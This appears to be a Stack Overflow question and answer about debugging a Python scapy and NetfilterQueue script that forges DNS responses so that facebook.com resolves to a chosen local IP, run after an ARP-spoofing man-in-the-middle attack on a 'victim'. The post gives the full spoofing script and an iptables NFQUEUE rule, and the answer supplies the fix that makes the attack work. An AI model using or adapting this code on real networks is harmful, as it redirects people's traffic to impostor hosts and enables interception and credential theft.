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i don't know why mi script don't work, the victim browser shows : ERR: named not resolved.

My script 

from scapy.all import *
from netfilterqueue import NetfilterQueue

spoofDomain = 'www.facebook.com'
spoofResolvedIp = '172.16.16.162'
queueId = 1

def dnsSpoof(packet):
        originalPayload = IP( packet.get_payload() )

        if not originalPayload.haslayer(DNSQR):
                # Not a dns query, accept and go on
                packet.accept()
        else:
                if ("m.facebook.com" in originalPayload[DNS].qd.qname) or ("facebook.com" in originalPayload[DNS].qd.qname) or ("www.facebook.com" in originalPayload[DNS].qd.qname) or ("edge-chat.facebook.com" in originalPayload[DNS].qd.qname):
                        print "Intercepted DNS request for " + spoofDomain + ": " + originalPayload.summary()

                        # Build the spoofed response
                        spoofedPayload = IP(dst=originalPayload[IP].dst, src=originalPayload[IP].src)/\
                          UDP(dport=originalPayload[UDP].dport, sport=originalPayload[UDP].sport)/\
                          DNS(id=originalPayload[DNS].id, qr=1, aa=1, qd=originalPayload[DNS].qd,\
                          an=DNSRR(rrname=originalPayload[DNS].qd.qname, ttl=10, rdata=spoofResolvedIp))

                        print "Spoofing DNS response to: " + spoofedPayload.summary()
                        packet.set_payload(str(spoofedPayload))
                        packet.accept()
                        print "------------------------------------------"
                else:
                        # DNS query but not for target spoofDomain, accept and go on
                        packet.accept()

# bind the callback function to the queue
nfqueue = NetfilterQueue()
nfqueue.bind(queueId, dnsSpoof)

# wait for packets
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()

I use iptables -t mangle -I FORWARD -p udp -j NFQUEUE --queue-num 1 command.

Firs i perform a man in the middle attack by ARP Cache spoofing. I used wireshark to see the traffic and it seems to be ok, I don't know whats is going on.

Joako Itria
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  • Hi ! Welcome to stackoverflow. Posting big scripts and asking for a wide unknown bug isn’t very attractive.. you should try to investigate first, show wireshark screenshots of what’s happening, logs... so that your issue is easier to help with – Cukic0d Nov 11 '18 at 14:19

1 Answers1

0

I solved the problem, I was looking for queries I don't see that sorry

if not originalPayload.haslayer(DNSQR)

DNSQR is dns query, and I want to take dns answers, so the code is that:

if not originalPayload.haslayer(DNSRR)
marc_s
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Joako Itria
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